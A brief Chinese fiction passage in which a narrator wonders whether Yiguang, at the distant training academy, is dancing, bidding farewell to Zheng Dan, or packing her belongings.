远处,教习坊的方向,夷光在跳舞吗?还是在跟郑旦告别?还是在收拾行李? 她还能做些什么……